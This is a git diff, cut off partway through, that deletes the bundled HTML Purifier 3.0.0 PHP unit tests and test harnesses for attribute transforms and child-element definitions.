b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BorderTest.php deleted file mode 100644 index a89c3b3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BorderTest.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/Border.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - - -class HTMLPurifier_AttrTransform_BorderTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_Border(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('border' => '1'), - array('style' => 'border:1px solid;') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('border' => '10%'), - array('style' => 'border:10%px solid;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('border' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'border:23px solid;font-weight:bold;') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php deleted file mode 100644 index 6bb013f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php +++ /dev/null @@ -1,75 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/EnumToCSS.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_EnumToCSSTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'text-align:left;', - 'right' => 'text-align:right;' - )); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testPreserveArraysWithoutInterestingAttributes() { - $this->assertResult( array('style' => 'font-weight:bold;') ); - } - - function testConvertAlignLeft() { - $this->assertResult( - array('align' => 'left'), - array('style' => 'text-align:left;') - ); - } - - function testConvertAlignRight() { - $this->assertResult( - array('align' => 'right'), - array('style' => 'text-align:right;') - ); - } - - function testRemoveInvalidAlign() { - $this->assertResult( - array('align' => 'invalid'), - array() - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('align' => 'left', 'style' => 'font-weight:bold;'), - array('style' => 'text-align:left;font-weight:bold;') - ); - - } - - function testCaseInsensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - )); - $this->assertResult( - array('align' => 'RIGHT'), - array('style' => 'text-align:right;') - ); - } - - function testCaseSensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - ), true); - $this->assertResult( - array('align' => 'RIGHT'), - array() - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php deleted file mode 100644 index 5746f8d..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php +++ /dev/null @@ -1,48 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/ImgRequired.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_ImgRequiredTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_ImgRequired(); - } - - function testAddMissingAttr() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => '', 'alt' => 'Invalid image') - ); - } - - function testAlternateDefaults() { - $this->config->set('Attr', 'DefaultInvalidImage', 'blank.png'); - $this->config->set('Attr', 'DefaultInvalidImageAlt', 'Pawned!'); - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => 'blank.png', 'alt' => 'Pawned!') - ); - } - - function testGenerateAlt() { - $this->assertResult( - array('src' => '/path/to/foobar.png'), - array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') - ); - } - - function testAddDefaultSrc() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - array('alt' => 'intrigue'), - array('alt' => 'intrigue', 'src' => '') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php deleted file mode 100644 index a40fc32..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php +++ /dev/null @@ -1,58 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/ImgSpace.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - - -class HTMLPurifier_AttrTransform_ImgSpaceTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testVerticalBasicUsage() { - $this->assertResult( - array('vspace' => '1'), - array('style' => 'margin-top:1px;margin-bottom:1px;') - ); - } - - function testLenientHandlingOfInvalidInput() { - $this->assertResult( - array('vspace' => '10%'), - array('style' => 'margin-top:10%px;margin-bottom:10%px;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('vspace' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') - ); - } - - function testHorizontalBasicUsage() { - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - $this->assertResult( - array('hspace' => '1'), - array('style' => 'margin-left:1px;margin-right:1px;') - ); - } - - function testInvalidConstructionParameter() { - $this->expectError('ispace is not valid space attribute'); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); - $this->assertResult( - array('ispace' => '1'), - array() - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LangTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LangTest.php deleted file mode 100644 index 89ae84b..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LangTest.php +++ /dev/null @@ -1,49 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Token.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; -require_once 'HTMLPurifier/AttrTransform/Lang.php'; - -class HTMLPurifier_AttrTransform_LangTest - extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_Lang(); - } - - function testEmptyInput() { - $this->assertResult(array()); - } - - function testCopyLangToXMLLang() { - $this->assertResult( - array('lang' => 'en'), - array('lang' => 'en', 'xml:lang' => 'en') - ); - } - - function testPreserveAttributes() { - $this->assertResult( - array('src' => 'vert.png', 'lang' => 'fr'), - array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') - ); - } - - function testCopyXMLLangToLang() { - $this->assertResult( - array('xml:lang' => 'en'), - array('xml:lang' => 'en', 'lang' => 'en') - ); - } - - function testXMLLangOverridesLang() { - $this->assertResult( - array('lang' => 'fr', 'xml:lang' => 'de'), - array('lang' => 'de', 'xml:lang' => 'de') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LengthTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LengthTest.php deleted file mode 100644 index 8d2265f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/LengthTest.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/Length.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_LengthTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_Length('width'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testTransformPixel() { - $this->assertResult( - array('width' => '10'), - array('style' => 'width:10px;') - ); - } - - function testTransformPercentage() { - $this->assertResult( - array('width' => '10%'), - array('style' => 'width:10%;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('width' => '10%', 'style' => 'font-weight:bold'), - array('style' => 'width:10%;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('width' => 'asdf'), - array('style' => 'width:asdf;') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/NameTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/NameTest.php deleted file mode 100644 index fef690d..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/NameTest.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/Name.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_NameTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_Name(); - } - - function testEmpty() { - $this->assertResult( array() ); - } - - function testTransformNameToID() { - $this->assertResult( - array('name' => 'free'), - array('id' => 'free') - ); - } - - function testExistingIDOverridesName() { - $this->assertResult( - array('name' => 'tryit', 'id' => 'tobad'), - array('id' => 'tobad') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformHarness.php deleted file mode 100644 index 0aa13a5..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformHarness.php +++ /dev/null @@ -1,14 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ComplexHarness.php'; - -class HTMLPurifier_AttrTransformHarness extends HTMLPurifier_ComplexHarness -{ - - function setUp() { - parent::setUp(); - $this->func = 'transform'; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformTest.php deleted file mode 100644 index 911272a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransformTest.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -Mock::generatePartial( - 'HTMLPurifier_AttrTransform', - 'HTMLPurifier_AttrTransformTestable', - array('transform')); - -class HTMLPurifier_AttrTransformTest extends HTMLPurifier_Harness -{ - - function test_prependCSS() { - - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array(); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;'), $attr); - - $attr = array('style' => 'style:original;'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); - - $attr = array('style' => 'style:original;', 'misc' => 'un-related'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); - - } - - function test_confiscateAttr() { - - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); - $this->assertIdentical(array(), $attr); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); - $this->assertIdentical(array('flavor' => 'sweet'), $attr); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTypesTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTypesTest.php deleted file mode 100644 index c207c32..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTypesTest.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTypes.php'; - -class HTMLPurifier_AttrTypesTest extends HTMLPurifier_Harness -{ - - function test_get() { - $types = new HTMLPurifier_AttrTypes(); - - $this->assertIdentical( - $types->get('CDATA'), - $types->info['CDATA'] - ); - - $this->expectError('Cannot retrieve undefined attribute type foobar'); - $types->get('foobar'); - - $this->assertIdentical( - $types->get('Enum#foo,bar'), - new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrValidator_ErrorsTest.php deleted file mode 100644 index 8371962..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrValidator_ErrorsTest.php +++ /dev/null @@ -1,49 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ErrorsHarness.php'; -require_once 'HTMLPurifier/AttrValidator.php'; - -class HTMLPurifier_AttrValidator_ErrorsTest extends HTMLPurifier_ErrorsHarness -{ - - function invoke($input) { - $validator = new HTMLPurifier_AttrValidator(); - $validator->validateToken($input, $this->config, $this->context); - } - - function testAttributesTransformedGlobalPre() { - $this->config->set('HTML', 'DefinitionID', - 'HTMLPurifier_AttrValidator_ErrorsTest::testAttributesTransformedGlobalPre'); - $def =& $this->config->getHTMLDefinition(true); - generate_mock_once('HTMLPurifier_AttrTransform'); - $transform = new HTMLPurifier_AttrTransformMock(); - $input = array('original' => 'value'); - $output = array('class' => 'value'); // must be valid - $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); - $def->info_attr_transform_pre[] = $transform; - $this->expectErrorCollection(E_NOTICE, 'AttrValidator: Attributes transformed', $input, $output); - $token = new HTMLPurifier_Token_Start('span', $input, 1); - $this->invoke($token); - } - - function testAttributesTransformedLocalPre() { - $this->config->set('HTML', 'TidyLevel', 'heavy'); - $input = array('align' => 'right'); - $output = array('style' => 'text-align:right;'); - $this->expectErrorCollection(E_NOTICE, 'AttrValidator: Attributes transformed', $input, $output); - $token = new HTMLPurifier_Token_Start('p', $input, 1); - $this->invoke($token); - } - - // too lazy to check for global post and global pre - - function testAttributeRemoved() { - $this->expectErrorCollection(E_ERROR, 'AttrValidator: Attribute removed'); - $this->expectContext('CurrentAttr', 'foobar'); - $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); - $this->expectContext('CurrentToken', $token); - $this->invoke($token); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/ChameleonTest.php deleted file mode 100644 index 967d29c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/ChameleonTest.php +++ /dev/null @@ -1,42 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/Chameleon.php'; - -class HTMLPurifier_ChildDef_ChameleonTest extends HTMLPurifier_ChildDefHarness -{ - - protected $isInline; - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_Chameleon( - 'b | i', // allowed only when in inline context - 'b | i | div' // allowed only when in block context - ); - $this->context->register('IsInline', $this->isInline); - } - - function testInlineAlwaysAllowed() { - $this->isInline = true; - $this->assertResult( - '<b>Allowed.</b>' - ); - } - - function testBlockNotAllowedInInline() { - $this->isInline = true; - $this->assertResult( - '<div>Not allowed.</div>', '' - ); - } - - function testBlockAllowedInNonInline() { - $this->isInline = false; - $this->assertResult( - '<div>Allowed.</div>' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/CustomTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/CustomTest.php deleted file mode 100644 index 2b33f7c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/CustomTest.php +++ /dev/null @@ -1,76 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/Custom.php'; - -class HTMLPurifier_ChildDef_CustomTest extends HTMLPurifier_ChildDefHarness -{ - - function test() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); - - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - - $this->assertResult('', false); - $this->assertResult('<a /><a />', false); - - $this->assertResult('<a /><b /><c /><d /><a /><b />'); - $this->assertResult('<a /><d>Dob</d><a /><b>foo</b>'. - '<a href="moo" /><b>foo</b>'); - - } - - function testNesting() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult('<a /><b /><c /><a /><b /><d />'); - $this->assertResult('<a /><b /><c /><d />', false); - } - - function testNestedEitherOr() { - $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult('<b /><a /><c /><d />'); - $this->assertResult('<b /><d /><a /><a />'); - $this->assertResult('<b /><a />'); - $this->assertResult('<acd />', false); - } - - function testNestedQuantifier() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); - $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); - $this->assertResult(''); - $this->assertResult('<b /><c />'); - $this->assertResult('<b /><c /><c /><c />'); - $this->assertResult('<b /><c /><b /><c />'); - $this->assertResult('<b /><c /><b />', false); - } - - function testEitherOr() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('', false); - $this->assertResult('<a />'); - $this->assertResult('<b />'); - $this->assertResult('<a /><b />', false); - - } - - function testCommafication() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('<a /><b />'); - $this->assertResult('<ab />', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/OptionalTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/OptionalTest.php deleted file mode 100644 index 40dc17e..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/OptionalTest.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/Optional.php'; - -class HTMLPurifier_ChildDef_OptionalTest extends HTMLPurifier_ChildDefHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_Optional('b | i'); - } - - function testBasicUsage() { - $this->assertResult('<b>Bold text</b><img />', '<b>Bold text</b>'); - } - - function testRemoveForbiddenText() { - $this->assertResult('Not allowed text', ''); - } - - function testEmpty() { - $this->assertResult(''); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/RequiredTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/RequiredTest.php deleted file mode 100644 index f2b55ba..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/RequiredTest.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/Required.php'; - -class HTMLPurifier_ChildDef_RequiredTest extends HTMLPurifier_ChildDefHarness -{ - - function testPrepareString() { - $def = new HTMLPurifier_ChildDef_Required('foobar | bang |gizmo'); - $this->assertIdentical($def->elements, - array( - 'foobar' => true - ,'bang' => true - ,'gizmo' => true - )); - } - - function testPrepareArray() { - $def = new HTMLPurifier_ChildDef_Required(array('href', 'src')); - $this->assertIdentical($def->elements, - array( - 'href' => true - ,'src' => true - )); - } - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_Required('dt | dd'); - } - - function testEmptyInput() { - $this->assertResult('', false); - } - - function testRemoveIllegalTagsAndElements() { - $this->assertResult( - '<dt>Term</dt>Text in an illegal location'. - '<dd>Definition</dd><b>Illegal tag</b>', - '<dt>Term</dt><dd>Definition</dd>'); - $this->assertResult('How do you do!', false); - } - - function testIgnoreWhitespace() { - // whitespace shouldn't trigger it - $this->assertResult("\n<dd>Definition</dd> "); - } - - function testPreserveWhitespaceAfterRemoval() { - $this->assertResult( - '<dd>Definition</dd> <b></b> ', - '<dd>Definition</dd> ' - ); - } - - function testDeleteNodeIfOnlyWhitespace() { - $this->assertResult("\t ", false); - } - - function testPCDATAAllowed() { - $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b'); - $this->assertResult('Out <b>Bold text</b><img />', 'Out <b>Bold text</b>'); - } - - function testPCDATAAllowedWithEscaping() { - $this->obj = new HTMLPurifier_ChildDef_Required('#PCDATA | b'); - $this->config->set('Core', 'EscapeInvalidChildren', true); - $this->assertResult( - 'Out <b>Bold text</b><img />', - 'Out <b>Bold text</b>&lt;img /&gt;' - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php deleted file mode 100644 index e55f96e..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php +++ /dev/null @@ -1,85 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/StrictBlockquote.php'; - -class HTMLPurifier_ChildDef_StrictBlockquoteTest -extends HTMLPurifier_ChildDefHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p'); - } - - function testEmptyInput() { - $this->assertResult(''); - } - - function testPreserveValidP() { - $this->assertResult('<p>Valid</p>'); - } - - function testPreserveValidDiv() { - $this->assertResult('<div>Still valid</div>'); - } - - function testWrapTextWithP() { - $this->assertResult('Needs wrap', '<p>Needs wrap</p>'); - } - - function testNoWrapForWhitespaceOrValidElements() { - $this->assertResult('<p>Do not wrap</p> <p>Whitespace</p>'); - } - - function testWrapTextNextToValidElements() { - $this->assertResult( - 'Wrap'. '<p>Do not wrap</p>', - '<p>Wrap</p><p>Do not wrap</p>' - ); - } - - function testWrapInlineElements() { - $this->assertResult( - '<p>Do not</p>'.'<b>Wrap</b>', - '<p>Do not</p><p><b>Wrap</b></p>' - ); - } - - function testWrapAndRemoveInvalidTags() { - $this->assertResult( - '<li>Not allowed</li>Paragraph.<p>Hmm.</p>', - '<p>Not allowedParagraph.</p><p>Hmm.</p>' - ); - } - - function testWrapComplicatedSring() { - $this->assertResult( - $var = 'He said<br />perhaps<br />we should <b>nuke</b> them.', - "<p>$var</p>" - ); - } - - function testWrapAndRemoveInvalidTagsComplex() { - $this->assertResult( - '<foo>Bar</foo><bas /><b>People</b>Conniving.'. '<p>Fools!</p>', - '<p>Bar'. '<b>People</b>Conniving.</p><p>Fools!</p>' - ); - } - - function testAlternateWrapper() { - $this->config->set('HTML', 'BlockWrapper', 'div'); - $this->assertResult('Needs wrap', '<div>Needs wrap</div>'); - - } - - function testError() { - // $this->expectError('Cannot use non-block element as block wrapper'); - $this->obj = new HTMLPurifier_ChildDef_StrictBlockquote('div | p'); - $this->config->set('HTML', 'BlockWrapper', 'dav'); - $this->assertResult('Needs wrap', '<p>Needs wrap</p>'); - $this->swallowErrors(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/TableTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/TableTest.php deleted file mode 100644 index 62247d2..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDef/TableTest.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDefHarness.php'; -require_once 'HTMLPurifier/ChildDef/Table.php'; - -// we're using empty tags to compact the tests: under real circumstances -// there would be contents in them - -class HTMLPurifier_ChildDef_TableTest extends HTMLPurifier_ChildDefHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_ChildDef_Table(); - } - - function testEmptyInput() { - $this->assertResult('', false); - } - - function testSingleRow() { - $this->assertResult('<tr />'); - } - - function testComplexContents() { - $this->assertResult('<caption /><col /><thead /><tfoot /><tbody>'. - '<tr><td>asdf</td></tr></tbody>'); - $this->assertResult('<col /><col /><col /><tr />'); - } - - function testReorderContents() { - $this->assertResult( - '<col /><colgroup /><tbody /><tfoot /><thead /><tr>1</tr><caption /><tr />', - '<caption /><col /><colgroup /><thead /><tfoot /><tbody /><tr>1</tr><tr />'); - } - - function testDuplicateProcessing() { - $this->assertResult( - '<caption>1</caption><caption /><tbody /><tbody /><tfoot>1</tfoot><tfoot />', - '<caption>1</caption><tfoot>1</tfoot><tbody /><tbody /><tbody />' - ); - } - - function testRemoveText() { - $this->assertResult('foo', false); - } - - function testStickyWhitespaceOnTr() { - $this->config->set('Output', 'Newline', "\n"); - $this->assertResult("\n <tr />\n <tr />\n "); - } - - function testStickyWhitespaceOnTSection() { - $this->config->set('Output', 'Newline', "\n"); - $this->assertResult( - "\n\t<tbody />\n\t\t<tfoot />\n\t\t\t", - "\n\t\t<tfoot />\n\t<tbody />\n\t\t\t" - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDefHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDefHarness.php deleted file mode 100644 index 0650c2d..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ChildDefHarness.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ComplexHarness.php'; -require_once 'HTMLPurifier/ChildDef.php'; - -class HTMLPurifier_ChildDefHarness extends HTMLPurifier_ComplexHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = null; - $this->func = 'validateChildren'; - $this->to_tokens = true; - $this->to_html = true; - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ComplexHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ComplexHarness.php deleted file mode 100644 index 6e930d8..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ComplexHarness.php +++ /dev/null @@ -1,120 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Lexer/DirectLex.php'; - -/** - * General-purpose test-harness that makes testing functions that require - * configuration and context objects easier when those two parameters are - * meaningless. See HTMLPurifier_ChildDefTest for a good example of usage. - */ -class HTMLPurifier_ComplexHarness extends HTMLPurifier_Harness -{ - - /** - * Instance of the object that will execute the method - */ - protected $obj; - - /** - * Name of the function to be executed - */ - protected $func; - - /** - * Whether or not the method deals in tokens. If set to true, assertResult() - * will transparently convert HTML to and back from tokens. - */ - protected $to_tokens = false; - - /** - * Whether or not to convert tokens back into HTML before performing - * equality check, has no effect on bools. - */ - protected $to_html = false; - - /** - * Instance of an HTMLPurifier_Lexer implementation. - */ - protected $lexer; - - /** - * Instance of HTMLPurifier_Generator - */ - protected $generator; - - /** - * Default config to fall back on if no config is available - */ - protected $config; - - /** - * Default context to fall back on if no context is available - */ - protected $context; - - function HTMLPurifier_ComplexHarness() { - $this->lexer = new HTMLPurifier_Lexer_DirectLex(); - $this->generator = new HTMLPurifier_Generator(); - parent::HTMLPurifier_Harness(); - } - - /** - * Asserts a specific result from a one parameter + config/context function - * @param $input Input parameter - * @param $expect Expectation - * @param $config Configuration array in form of Ns.Directive => Value. - * Has no effect if $this->config is set. - * @param $context_array Context array in form of Key => Value or an actual - * context object. - */ - function assertResult($input, $expect = true) { - - if ($this->to_tokens && is_string($input)) { - // $func may cause $input to change, so "clone" another copy - // to sacrifice - $input = $this->tokenize($temp = $input); - $input_c = $this->tokenize($temp); - } else { - $input_c = $input; - } - - // call the function - $func = $this->func; - $result = $this->obj->$func($input_c, $this->config, $this->context); - - // test a bool result - if (is_bool($result)) { - $this->assertIdentical($expect, $result); - return; - } elseif (is_bool($expect)) { - $expect = $input; - } - - if ($this->to_html) { - $result = $this->generate($result); - if (is_array($expect)) { - $expect = $this->generate($expect); - } - } - - $this->assertIdentical($expect, $result); - - } - - /** - * Tokenize HTML into tokens, uses member variables for common variables - */ - function tokenize($html) { - return $this->lexer->tokenizeHTML($html, $this->config, $this->context); - } - - /** - * Generate textual HTML from tokens - */ - function generate($tokens) { - return $this->generator->generateFromTokens($tokens, $this->config, $this->context); - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigSchemaTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigSchemaTest.php deleted file mode 100644 index b8763c1..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ConfigSchemaTest.php +++ /dev/null @@ -1,345 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ConfigSchema.php'; - -if (!class_exists('CS')) { - class CS extends HTMLPurifier_ConfigSchema {} -} - -class HTMLPurifier_ConfigSchemaTest extends HTMLPurifier_Harness -{ - - /** - * Munged name of current file. - */ - protected $file; - - /** - * Copy of the real ConfigSchema to revert to. - */ - protected $old_copy; - - /** - * Copy of dummy ConfigSchema for testing purposes. - */ - protected $our_copy; - - function setUp() { - // yes, I know this is 